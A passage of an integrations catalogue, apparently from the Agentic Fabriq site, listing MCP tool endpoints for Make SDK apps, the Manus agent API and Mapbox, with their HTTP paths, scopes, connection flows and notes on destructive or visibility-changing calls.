groups, install, installSpec
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/groups. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_install (write) — Available sections: base, groups, install, installSpec
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/install. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_api (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/api. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_by_sdk_moduleconsumable (write) — Set Module Consumable. PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/{SDK_moduleConsumable}. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_epoch (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/epoch. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_interface (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/interface. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_parameters (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/parameters. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_samples (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/samples. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_scope (write) — Available sections: api, epoch, parameters, expect, interface, samples, scope
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/scope. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_readme (write) — Set App Docs. PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/readme. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_review_form (write) — Submit App Review Form. PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/review/form. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname_by_sdk_rpcsection (write) — Available sections: api, parameters
    . PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}/{SDK_rpcSection}. Scopes: sdk-apps:write. make_put_sdk_apps_connections_by_sdk_connectionname_by_sdk_connectionsection (write) — Available sections: api, parameters, scopes, scope, installSpec, install
    . PUT /api/v1/make/sdk/apps/connections/{SDK_connectionName}/{SDK_connectionSection}. Scopes: sdk-apps:write. make_put_sdk_apps_connections_by_sdk_connectionname_common (write) — Set Connection Common. PUT /api/v1/make/sdk/apps/connections/{SDK_connectionName}/common. Scopes: sdk-apps:write. make_put_sdk_apps_webhooks_by_sdk_webhookname_by_sdk_webhooksection (write) — Set Webhook Section. PUT /api/v1/make/sdk/apps/webhooks/{SDK_webhookName}/{SDK_webhookSection}. Scopes: sdk-apps:write. make_put_users_by_userid_attributes_email (write) — Updates an email for a user with a given ID by passing new data in the request body. It replaces the entire resource with the new values. In the response, it returns the confirmation if the email was changed. PUT /api/v1/make/users/{userId}/attributes/email. Scopes: user:write. make_put_users_user_team_notifications_by_teamid_by_notificationid (write) — Updates the authenticated user's notification settings for the team and notification type specified by the `teamId` and `notificationId`. Get the mapping of the `notificationId` and the team notification setting type with the API call `GET /enums/user-email-notifications`. Note that you can only update notification settings for the user associated with the API key used for authentication. Some notification types require a specific team permission. Enabling such a type for a user who does not hold the required permission fails with `403`. Disabling a notification type is always allowed, regardless of permissions or feature flags. PUT /api/v1/make/users/user-team-notifications/{teamId}/{notificationId}. Scopes: user:write. ================================================================================ ## Manus URL: https://www.agenticfabriq.com/integrations/manus Section: Integrated Tools Manus — 33 MCP tools Provider key: manus. Scopes: api. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. manus_get_v2_agent_detail (read) — Read one agent by id: its nickname, its description and its configuration via GET /v2/agent.detail GET /api/v1/manus/v2/agent.detail. Scopes: api. manus_get_v2_agent_list (read) — List the Manus agents on this account, with the ids agent.detail takes and the task listing's `agent_subtask` scope filters on via GET /v2/agent.list GET /api/v1/manus/v2/agent.list. Scopes: api. manus_get_v2_browser_onlinelist (read) — List the user's own browser clients that are online right now and therefore available to a task. On an OAuth connection this is what the `use_my_browsers` scope covers via GET /v2/browser.onlineList GET /api/v1/manus/v2/browser.onlineList. Scopes: api. manus_get_v2_connector_list (read) — List the connectors -- Manus's own third-party integrations -- this credential may name in a task message. On an OAuth connection this needs the `use_connectors` scope AND the specific connector UIDs selected on the Open App, and a connector the user revoked simply disappears from here via GET /v2/connector.list GET /api/v1/manus/v2/connector.list. Scopes: api. manus_get_v2_file_detail (read) — Read one uploaded file's metadata by id via GET /v2/file.detail GET /api/v1/manus/v2/file.detail. Scopes: api. manus_get_v2_project_list (read) — List the projects this credential can see, with the ids that task.create and skill.list take via GET /v2/project.list GET /api/v1/manus/v2/project.list. Scopes: api. manus_get_v2_skill_list (read) — List the user's global skills, plus a project's own skills when `project_id` is given via GET /v2/skill.list GET /api/v1/manus/v2/skill.list. Scopes: api. manus_get_v2_task_detail (read) — Read one task by id: its status and stop reason, title, the credits it consumed, its task and share URLs, and the structured output when a schema was armed via GET /v2/task.detail GET /api/v1/manus/v2/task.detail. Scopes: api. manus_get_v2_task_list (read) — List the tasks this credential can see, newest first by default, filtered by scope (all, standard, project or agent_subtask), by agent, by project, or by the Open App or API key that created them. AN OAUTH TOKEN HOLDING ONLY `create_task` SEES ONLY THE TASKS THAT APP CREATED; reaching the user's other tasks needs `manage_all_tasks`, which Manus labels broad access. An API key sees everything on the account via GET /v2/task.list GET /api/v1/manus/v2/task.list. Scopes: api. manus_get_v2_task_listmessages (read) — Page through a task's event stream: user and assistant messages, errors and status updates, plus tool_used, plan_update, new_plan_step and explanation events when `verbose=true`. `start_event_id` resumes from one event and cannot be combined with a cursor; `slides_format=pptx` converts HTML slide attachments to PowerPoint via GET /v2/task.listMessages GET /api/v1/manus/v2/task.listMessages. Scopes: api. manus_get_v2_usage_availablecredits (read) — Read the credits still available to this account. Manus meters agent work in credits, so this is the call that says whether task.create and task.sendMessage can succeed via GET /v2/usage.availableCredits GET /api/v1/manus/v2/usage.availableCredits. Scopes: api. manus_get_v2_usage_list (read) — Page through this user's own credit-usage records via GET /v2/usage.list GET /api/v1/manus/v2/usage.list. Scopes: api. manus_get_v2_usage_teamlog (read) — Page through the team's per-member usage log over a date window given as Unix timestamps in seconds, sorted by task count or by credits via GET /v2/usage.teamLog GET /api/v1/manus/v2/usage.teamLog. Scopes: api. manus_get_v2_usage_teamstatistic (read) — Read the team's aggregate task count and credit spend over a date window given as Unix timestamps in seconds via GET /v2/usage.teamStatistic GET /api/v1/manus/v2/usage.teamStatistic. Scopes: api. manus_get_v2_user_me (read) — Resolve the Manus user this connection acts as -- the user_id behind the API key or the OAuth access token. Read-only, takes no arguments, and Manus states it needs no additional OAuth scope, which is why it is also the credential check on the paste form via GET /v2/user.me GET /api/v1/manus/v2/user.me. Scopes: api. manus_get_v2_webhook_list (read) — List the webhook endpoints registered on this account, with the ids webhook.delete takes via GET /v2/webhook.list GET /api/v1/manus/v2/webhook.list. Scopes: api. manus_get_v2_webhook_publickey (read) — Read the public key Manus signs webhook deliveries with, so a receiver can verify that a notification really came from Manus via GET /v2/webhook.publicKey GET /api/v1/manus/v2/webhook.publicKey. Scopes: api. manus_get_v2_website_listcheckpoints (read) — List a website's checkpoints -- the deployable snapshots a task produced -- addressed by `task_id` OR `website_id`, exactly one via GET /v2/website.listCheckpoints GET /api/v1/manus/v2/website.listCheckpoints. Scopes: api. manus_get_v2_website_status (read) — Read the deployment status of the website a task publishes, addressed by `task_id` OR `website_id` -- exactly one, never both via GET /v2/website.status GET /api/v1/manus/v2/website.status. Scopes: api. manus_post_v2_agent_update (write) — Change an agent's display name or the description shown with it. Neither field is reverted by omitting it -- send only what should change via POST /v2/agent.update POST /api/v1/manus/v2/agent.update. Scopes: api. manus_post_v2_file_delete (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete an uploaded file. Manus publishes no trash and no restore endpoint for files, so there is no undo and no safer alternative to prefer -- a task that already read the file keeps its own conversation, but the file is gone via POST /v2/file.delete POST /api/v1/manus/v2/file.delete. Scopes: api. manus_post_v2_file_upload (write) — Register a filename and receive the upload target plus the `file_id` a task message attaches. AGENTIC FABRIQ DOES NOT SEND THE BYTES FOR YOU: a task can instead take a file by public `file_url` or as base64 `file_data` in the message itself via POST /v2/file.upload POST /api/v1/manus/v2/file.upload. Scopes: api. manus_post_v2_project_create (write) — Create a project and optionally its default instruction, which Manus prepends to every task created inside it -- the way to enforce one behaviour across related tasks via POST /v2/project.create POST /api/v1/manus/v2/project.create. Scopes: api. manus_post_v2_task_confirmaction (write) — Answer a task that paused for confirmation, naming the `waiting_for_event_id` from the status_update event that asked and any input its `confirm_input_schema` describes. THIS AUTHORISES THE ACTION THE AGENT WAS WAITING ON and it proceeds immediately, so read the pending event before calling this via POST /v2/task.confirmAction POST /api/v1/manus/v2/task.confirmAction. Scopes: api. manus_post_v2_task_create (write) — Start a Manus agent task from a message (text, an uploaded file_id, a public file_url, base64 file_data, or voice), optionally inside a project whose instruction is prepended, with an agent profile (standard, lite or max), a locale, a share visibility and a structured-output JSON Schema. TASKS SPEND CREDITS -- read usage.availableCredits first. `hide_in_task_list` keeps a background task out of the Manus webapp list while leaving it reachable at its task_url via POST /v2/task.create POST /api/v1/manus/v2/task.create. Scopes: api. manus_post_v2_task_delete (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete a task with its message history and attachments. Manus publishes no trash and no restore endpoint, so there is no undo; stopping the task is the reversible alternative when the intent is only to end its run. Agent-related tasks cannot be deleted at all and answer an error via POST /v2/task.delete POST /api/v1/manus/v2/task.delete. Scopes: api. manus_post_v2_task_sendmessage (write) — Continue a task with another message (text, file or voice), optionally overriding the agent profile for this and later turns, replacing its connectors with a new list, clearing them entirely, or arming a structured-output schema for the next time it finishes. Omitting both connector fields reuses whatever task.create configured via POST /v2/task.sendMessage POST /api/v1/manus/v2/task.sendMessage. Scopes: api. manus_post_v2_task_stop (write) — Stop a running task. The task, its messages and its attachments all survive -- only the agent's execution ends -- so this is the reversible alternative to deleting a task that is merely going the wrong way via POST /v2/task.stop POST /api/v1/manus/v2/task.stop. Scopes: api. manus_post_v2_task_update (write) — Rename a task, show or hide it in the Manus webapp task list, or change who may view it. `share_visibility: public` MAKES THE SHARE URL READABLE WITHOUT AUTHENTICATION by anyone who holds it; `team` limits it to the team and `private` to the creator via POST /v2/task.update POST /api/v1/manus/v2/task.update. Scopes: api. manus_post_v2_webhook_create (write) — Register an HTTPS endpoint to receive Manus task notifications by POST. It must be publicly reachable and answer 2xx; verify each delivery against the key from webhook.publicKey before trusting it via POST /v2/webhook.create POST /api/v1/manus/v2/webhook.create. Scopes: api. manus_post_v2_webhook_delete (write, destructive) — DESTRUCTIVE AND PERMANENT. Remove a webhook endpoint, which stops every future delivery to it. There is no undo and no disable: re-registering the same URL creates a NEW webhook with a new id via POST /v2/webhook.delete POST /api/v1/manus/v2/webhook.delete. Scopes: api. manus_post_v2_website_publish (write) — Publish a task's website at a visibility: `public` (anyone), `team` (team members only, which requires a Team account) or `private`. OMITTING `visibility` RESETS THE SITE TO PUBLIC rather than leaving it unchanged, and a site may cap the visibility it allows and answer 403 above that cap. Addressed by `task_id` OR `website_id`, exactly one via POST /v2/website.publish POST /api/v1/manus/v2/website.publish. Scopes: api. manus_post_v2_website_update (write) — Change a website's title, its visibility or whether new checkpoints auto-publish. Omitted fields are left unchanged and an empty string is invalid, which is the difference from website.publish. Changing `auto_publish` neither publishes existing checkpoints nor cancels a deployment already in flight via POST /v2/website.update POST /api/v1/manus/v2/website.update. Scopes: api. ================================================================================ ## Mapbox URL: https://www.agenticfabriq.com/integrations/mapbox Section: Integrated Tools Mapbox — 93 MCP tools Provider key: mapbox. Scopes: api, datasets:list, datasets:read, datasets:write, fonts:list, fonts:read, fonts:write, scopes:list, styles:download, styles:list, styles:protect, styles:read, styles:tiles, styles:write, tilesets:list, tilesets:read, tilesets:write, tokens:read, tokens:write, uploads:list, uploads:read, uploads:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mapbox_delete_datasets_v1_by_dataset_id (write, destructive) — Delete a specific dataset. All the features contained in the dataset will be deleted too. via DELETE /datasets/v1/{username}/{dataset_id} DELETE /api/v1/mapbox/datasets/v1/{dataset_id}. Scopes: datasets:write. mapbox_delete_datasets_v1_by_dataset_id_features_by_feature_id (write, destructive) — Remove a specific feature from a dataset. via DELETE /datasets/v1/{username}/{dataset_id}/features/{feature_id} DELETE /api/v1/mapbox/datasets/v1/{dataset_id}/features/{feature_id}. Scopes: datasets:write. mapbox_delete_fonts_v1_by_font (write, destructive) — Delete a font from your account. WARNING: If you delete a font that's used by a map style, it may break your map! via DELETE /fonts/v1/{username}/{font} DELETE /api/v1/mapbox/fonts/v1/{font}. Scopes: fonts:write. mapbox_delete_styles_v1_by_style_id (write, destructive) — Delete a style. All sprites that belong to this style will also be deleted, and the style will no longer be available. via DELETE /styles/v1/{username}/{style_id} DELETE /api/v1/mapbox/styles/v1/{style_id}. Scopes: styles:write. mapbox_delete_styles_v1_by_style_id_sprite (write, destructive) — Remove a batch of images from an existing sprite. via DELETE /styles/v1/{username}/{style_id}/sprite DELETE /api/v1/mapbox/styles/v1/{style_id}/sprite. Scopes: styles:write. mapbox_delete_styles_v1_by_style_id_sprite_by_icon_name (write, destructive) — Remove an image from an existing sprite. via DELETE /styles/v1/{username}/{style_id}/sprite/{icon_name} DELETE /api/v1/mapbox/styles/v1/{style_id}/sprite/{icon_name}. Scopes: styles:write. mapbox_delete_tilesets_v1_by_tileset_id (write, destructive) — Delete a tileset. Note that you can only delete your own tileset. via DELETE /tilesets/v1/{tileset_id} DELETE /api/v1/mapbox/tilesets/v1/{tileset_id}. Scopes: tilesets:write. mapbox_delete_tilesets_v1_changesets_by_id (write, destructive) — Permanently delete a changeset and all its files. This is not a recoverable action. Note (warning): Don't delete a changeset while it's in use If you delete a changeset, any in-progress update jobs that use that changeset source will fail. via DELETE /tilesets/v1/changesets/{username}/{id} DELETE /api/v1/mapbox/tilesets/v1/changesets/{id}. Scopes: tilesets:write. mapbox_delete_tilesets_v1_sources_by_id (write, destructive) — Permanently delete a tileset source and all its files. This is not a recoverable action. Note (warning): Don't delete a tileset source while it's in use If you delete a tileset source, any in-progress jobs that use that tileset source will fail. via DELETE /tilesets/v1/sources/{username}/{id} DELETE /api/v1/mapbox/tilesets/v1/sources/{id}. Scopes: tilesets:write. mapbox_delete_tokens_v2_by_token_id (write, destructive) — Delete an access token. This will revoke its authorization and remove its access to Mapbox APIs. Applications using the revoked token will need to get a new access token before they can access Mapbox APIs. Note that cached resources may continue to be accessible for a while after a token is deleted. No new or updated resources will be accessible with the deleted token. via DELETE /tokens/v2/{username}/{token_id} DELETE /api/v1/mapbox/tokens/v2/{token_id}. Scopes: tokens:write. mapbox_delete_uploads_v1_by_upload_id (write, destructive) — Remove the status of a completed upload from the upload listing. Uploads are only statuses, so removing an upload from the listing doesn't delete the associated tileset. Tilesets can only be deleted from within Mapbox Studio. An upload status cannot be removed from the upload listing until after it has completed. via DELETE /uploads/v1/{username}/{upload_id} DELETE /api/v1/mapbox/uploads/v1/{upload_id}. Scopes: uploads:write. mapbox_get_activity_v1_tilesets (read) — Lists 30-day activity data for all tilesets belonging to a specific account. This endpoint supports pagination, returning 100 activity objects by default and a maximum of 500. via GET /activity/v1/{username}/tilesets GET /api/v1/mapbox/activity/v1/tilesets. Scopes: tilesets:list. mapbox_get_datasets_v1 (read) — List all the datasets that belong to a particular account. This endpoint supports pagination. via GET /datasets/v1/{username} GET /api/v1/mapbox/datasets/v1. Scopes: datasets:list. mapbox_get_datasets_v1_by_dataset_id (read) — Retrieve information about a single existing dataset. via GET /datasets/v1/{username}/{dataset_id} GET /api/v1/mapbox/datasets/v1/{dataset_id}. Scopes: datasets:read. mapbox_get_datasets_v1_by_dataset_id_features (read) — List all the features in a dataset. This endpoint supports pagination so that you can list many features. via GET /datasets/v1/{username}/{dataset_id}/features GET /api/v1/mapbox/datasets/v1/{dataset_id}/features. Scopes: datasets:read. mapbox_get_datasets_v1_by_dataset_id_features_by_feature_id (read) — Retrieve a specific feature from a dataset. via GET /datasets/v1/{username}/{dataset_id}/features/{feature_id} GET /api/v1/mapbox/datasets/v1/{dataset_id}/features/{feature_id}. Scopes: datasets:read. mapbox_get_directions_matrix_v1_by_profile_by_coordinates (read) — Returns a duration matrix, a distance matrix, or both, showing travel times and distances between coordinates. In the default case, this endpoint returns a symmetric matrix that uses all the input coordinates as sources and destinations (N×N). Using the optional `sources` and `destination` parameters, you can also generate an asymmetric matrix that uses only some coordinates as sources or destinations: one to many (1×N), many to one (N×1), and several to several (M×N). To learn more about how to use these parameters to create each of these matrix types, experiment with the `sources` and `destinations` parameters in the Matrix API Playground. via GET /directions-matrix/v1/{profile}/{coordinates} GET /api/v1/mapbox/directions-matrix/v1/{profile}/{coordinates}. Scopes: api. mapbox_get_directions_v5_by_profile_by_coordinates (read) — Retrieve directions between waypoints. Directions requests must specify at least two waypoints as starting and ending points. via GET /directions/v5/{profile}/{coordinates} GET /api/v1/mapbox/directions/v5/{profile}/{coordinates}. Scopes: api. mapbox_get_ev_v1_locations (read) — Search for EV Charge Points via GET /ev/v1/locations GET /api/v1/mapbox/ev/v1/locations. Scopes: api. mapbox_get_ev_v1_locations_by_location_id (read) — Get Charge Point details by ID via GET /ev/v1/locations/{location_id} GET /api/v1/mapbox/ev/v1/locations/{location_id}. Scopes: api. mapbox_get_ev_v1_operators (read) — Retrieve list of Charge Point Operators via GET /ev/v1/operators GET /api/v1/mapbox/ev/v1/operators. Scopes: api. mapbox_get_fonts_v1 (read) — Retrieve a list of fonts for a specific account. via GET /fonts/v1/{username} GET /api/v1/mapbox/fonts/v1. Scopes: fonts:list. mapbox_get_fonts_v1_by_font_by_start_by_end_pbf (read) — While glyph ranges are usually not of interest unless you're building a map renderer, this is the endpoint you can use to access them. Font glyph ranges are protocol buffer-encoded signed distance fields. They can be used to show fonts at a variety of scales and rotations. One glyph is used at all scales. via GET /fonts/v1/{username}/{font}/{start}-{end}.pbf GET /api/v1/mapbox/fonts/v1/{font}/{start}-{end}.pbf. Scopes: fonts:read. mapbox_get_fonts_v1_by_font_metadata (read) — Retrieve font metadata via GET /fonts/v1/{username}/{font}/metadata GET /api/v1/mapbox/fonts/v1/{font}/metadata. Scopes: fonts:read. mapbox_get_geocoding_v5_by_endpoint_batch_by_search_texts (read) — The batch geocoding query type allows you to have multiple forward or reverse geocoding queries in a single request. Batch geocoding is only available using the `mapbox.places-permanent` endpoint. If you are interested in using `mapbox.places-permanent` to do batch geocodes, contact Mapbox sales. Batch geocoding requests are formatted similarly to ordinary forward or reverse geocoding requests, but with multiple search queries one after another, separated by semicolons. Each query should be URL encoded, but the `;` character should not be encoded and should be included verbatim. Note: Billing for batch geocoding requests Each individual semicolon-separated search in a batch geocoding request counts as one request. A batch forward geocoding request with three search strings, for example `Juneau,Alaska;Fresno,CA;Phoenix,Arizona`, would count as three requests. These three requests would count against your rate limit. They would also be billed as three individual requests, which would be reflected on your statistics graph and your bill. You can make a *batch forward geocoding request* by using an `HTTP GET` request: via GET /geocoding/v5/{endpoint}/{search_text_1};{search_text_2};{search_text_N}.json GET /api/v1/mapbox/geocoding/v5/{endpoint}/batch/{search_texts}. Scopes: api. mapbox_get_geocoding_v5_by_endpoint_forward_by_search_text (read) — The forward geocoding query type allows you to look up a single location by name and returns its geographic coordinates. via GET /geocoding/v5/{endpoint}/{search_text}.json GET /api/v1/mapbox/geocoding/v5/{endpoint}/forward/{search_text}. Scopes: api. mapbox_get_geocoding_v5_by_endpoint_intersection_by_street_1_by_street_2 (read) — Intersection search allows users to search for a point where two streets intersect, without a precise address. Make an intersection search request by inserting an `and` or `&` between the two street names. via GET /geocoding/v5/{endpoint}/{street_1}%20and%20{street_2}.json GET /api/v1/mapbox/geocoding/v5/{endpoint}/intersection/{street_1}/{street_2}. Scopes: api. mapbox_get_geocoding_v5_by_endpoint_reverse_by_longitude_by_latitude (read) — The reverse geocoding query type allows you to look up a single pair of coordinates and returns the geographic feature or features that exist at that location. via GET /geocoding/v5/{endpoint}/{longitude},{latitude}.json GET /api/v1/mapbox/geocoding/v5/{endpoint}/reverse/{longitude},{latitude}. Scopes: api. mapbox_get_isochrone_v1_by_profile_by_coordinates (read) — Given a location and a routing profile, retrieve up to four isochrone contours. The contours are calculated using rasters and are returned as either polygon or line features, depending on your input setting for the `polygons` parameter. via GET /isochrone/v1/{profile}/{coordinates} GET /api/v1/mapbox/isochrone/v1/{profile}/{coordinates}. Scopes: api. mapbox_get_matching_v5_by_profile_by_coordinates_json (read) — Return a path on the road and path network that is closest to the input traces. via GET /matching/v5/{profile}/{coordinates}.json GET /api/v1/mapbox/matching/v5/{profile}/{coordinates}.json. Scopes: api. mapbox_get_optimized_trips_v1_by_profile_by_coordinates (read) — A call to this endpoint retrieves a duration-optimized route between input coordinates. via GET /optimized-trips/v1/{profile}/{coordinates} GET /api/v1/mapbox/optimized-trips/v1/{profile}/{coordinates}. Scopes: api. mapbox_get_optimized_trips_v2 (read) — You can fetch a list of all the routing problems you have submitted along with their current processing statuses. To do so, make a HTTP `GET` request against the base URL. via GET /optimized-trips/v2 GET /api/v1/mapbox/optimized-trips/v2. Scopes: api. mapbox_get_optimized_trips_v2_by_id (read) — To retrieve a solution, you must have the `id` generated when the routing problem was submitted. If you did not save the `id` for your submission, you can retrieve a list of all your submissions to find the `id`. Refer to the solution document section to better understand the solutions that you receive from the Optimization v2 API. via GET /optimized-trips/v2/{id} GET /api/v1/mapbox/optimized-trips/v2/{id}. Scopes: api. mapbox_get_places_v1_details_retrieve_by_mapbox_id (read) — Returns a single Place record identified by its `mapbox_id`. via GET /places/v1/details/retrieve/{mapbox_id} GET /api/v1/mapbox/places/v1/details/retrieve/{mapbox_id}. Scopes: api. mapbox_get_rasterarrays_v1_by_tileset_id_by_zoom_by_x_by_y_mrt (read) — Retrieve rasterarray tiles via GET /rasterarrays/v1/{tileset_id}/{zoom}/{x}/{y}.mrt GET /api/v1/mapbox/rasterarrays/v1/{tileset_id}/{zoom}/{x}/{y}.mrt. Scopes: api. mapbox_get_scopes_v1 (read) — List scopes for a user. All potential scopes a user has access to are listed. Public tokens may only contain scopes with the `public` property set to `true`. Secret tokens may contain any scope. via GET /scopes/v1/{username} GET /api/v1/mapbox/scopes/v1. Scopes: scopes:list. mapbox_get_search_geocode_v6_forward (read) — The forward geocoding query type allows you to look up a location using a string of search text and returns its standardized address, geographic context, and coordinates. via GET /search/geocode/v6/forward GET /api/v1/mapbox/search/geocode/v6/forward. Scopes: api. mapbox_get_search_geocode_v6_reverse (read) — The reverse geocoding query type allows you to look up a pair of coordinates and returns the geographic features there, including a standardized address or place and full geographic context. via GET /search/geocode/v6/reverse GET /api/v1/mapbox/search/geocode/v6/reverse. Scopes: api. mapbox_get_search_searchbox_v1_category_by_canonical_category_id (read) — Use the category search endpoint if you want to query points of interest (POIs) results filtered by a category at a specific location or along a route. The endpoint only returns POIs with the specified category. Examples of how you can use the `/category` endpoint: - Find food around you (`food_and_drink`) - Find an Indian restaurant (`indian_restaurant`) - Find a gas station along a route (`gas_station`) via GET /search/searchbox/v1/category/{canonical_category_id} GET /api/v1/mapbox/search/searchbox/v1/category/{canonical_category_id}. Scopes: api. mapbox_get_search_searchbox_v1_forward (read) — Get search results via GET /search/searchbox/v1/forward GET /api/v1/mapbox/search/searchbox/v1/forward. Scopes: api. mapbox_get_search_searchbox_v1_list_category (read) — Get category list via GET /search/searchbox/v1/list/category GET /api/v1/mapbox/search/searchbox/v1/list/category. Scopes: api. mapbox_get_search_searchbox_v1_retrieve_by_id (read) — After a successful call to the `/suggest` endpoint, use the ID in a suggestion's `mapbox_id` property to retrieve detailed information about the feature. via GET /search/searchbox/v1/retrieve/{id} GET /api/v1/mapbox/search/searchbox/v1/retrieve/{id}. Scopes: api. mapbox_get_search_searchbox_v1_reverse (read) — Do a reverse lookup via GET /search/searchbox/v1/reverse GET /api/v1/mapbox/search/searchbox/v1/reverse. Scopes: api. mapbox_get_search_searchbox_v1_suggest (read) — This endpoint provides a list of suggested search results for the user query. This endpoint, along with the `/retrieve` endpoint, can be used to add autocomplete search functionality to your applications. via GET /search/searchbox/v1/suggest GET /api/v1/mapbox/search/searchbox/v1/suggest. Scopes: api. mapbox_get_styles_v1 (read) — Retrieve a list of styles for a specific account. This endpoint supports pagination. Since styles are generally quite large, it's likely that a response to this endpoint will start paginating sooner than other list endpoints. If you have many styles in your account, you may need to repeatedly use the `next` link relation in the `Link` header of the response to retrieve them all. via GET /styles/v1/{username} GET /api/v1/mapbox/styles/v1. Scopes: styles:list. mapbox_get_styles_v1_by_style_id (read) — Retrieve a style as a JSON document. via GET /styles/v1/{username}/{style_id} GET /api/v1/mapbox/styles/v1/{style_id}. Scopes: styles:read. mapbox_get_styles_v1_by_style_id_by_sprite_id_sprite_2x_by_format (read) — Retrieve a sprite image or its JSON document from a Mapbox style. via GET /styles/v1/{username}/{style_id}/{sprite_id}/sprite{@2x}.{format} GET /api/v1/mapbox/styles/v1/{style_id}/{sprite_id}/sprite@2x.{format}. Scopes: styles:read. mapbox_get_styles_v1_by_style_id_html (read) — Request embeddable or shareable HTML. via GET /styles/v1/{username}/{style_id}.html GET /api/v1/mapbox/styles/v1/{style_id}.html. Scopes: styles:read. mapbox_get_styles_v1_by_style_id_static_by_overlay_by_position_by_widthxby_height_2x_by_format (read) — The position of the map is represented by either the word `auto`, a bounding box, or by five numbers: longitude, latitude, zoom, bearing, and pitch. The last two numbers, bearing and pitch, are optional. If you only specify bearing and not pitch, pitch will default to `0`. If you specify neither, they will both default to `0`. If you specify `auto` or `bbox`, you should not provide any of these numbers. You can use the `format` parameter to specify output image format, otherwise it will be defined implicitly, depending on the used sources. via GET /styles/v1/{username}/{style_id}/static/{overlay}/{lon},{lat},{zoom},{bearing},{pitch}|{bbox}|{auto}/{width}x{height}{@2x}{.format} GET /api/v1/mapbox/styles/v1/{style_id}/static/{overlay}/{position}/{width}x{height}@2x.{format}. Scopes: styles:tiles. mapbox_get_styles_v1_by_style_id_tiles_by_tilesize_by_z_by_x_by_y_2x_by_format (read) — Retrieve raster tiles from a Mapbox Studio style. - The returned raster tile will be 512 pixels by 512 pixels by default. - You can use the `format` parameter to specify the tile output format, otherwise it will be defined implicitly, depending on the used sources. Leaflet.js uses this endpoint to render raster tiles from a Mapbox Studio style with `L.tileLayer`. via GET /styles/v1/{username}/{style_id}/tiles/{tilesize}/{z}/{x}/{y}{@2x}{.format} GET /api/v1/mapbox/styles/v1/{style_id}/tiles/{tilesize}/{z}/{x}/{y}@2x.{format}. Scopes: api. mapbox_get_styles_v1_by_style_id_wmts (read) — Mapbox supports access via the WMTS standard, which lets you use maps with desktop and online GIS software like ArcMap and QGIS. via GET /styles/v1/{username}/{style_id}/wmts GET /api/v1/mapbox/styles/v1/{style_id}/wmts. Scopes: api. mapbox_get_styles_v1_by_style_id_zip (read) — Note Access to this endpoint is available upon request. To request that access be enabled for your account, contact Mapbox support. Retrieves a ZIP file containing the style JSON, sprite images, referenced custom fonts, and a license file. After retrieval, the style ZIP bundle response is cached for a few minutes, so later requests may return the same content even if the style has been modified in the interim. via GET /styles/v1/{username}/{style_id}.zip GET /api/v1/mapbox/styles/v1/{style_id}.zip. Scopes: styles:download. mapbox_get_tilesets_v1 (read) — List all the tilesets that belong to a specific account. This endpoint supports pagination. It returns a maximum of 100 tilesets by default. via GET /tilesets/v1/{username} GET /api/v1/mapbox/tilesets/v1. Scopes: tilesets:list. mapbox_get_tilesets_v1_by_tileset_id_jobs (read) — List information about all jobs associated with a tileset. You can also use this endpoint to query jobs at a 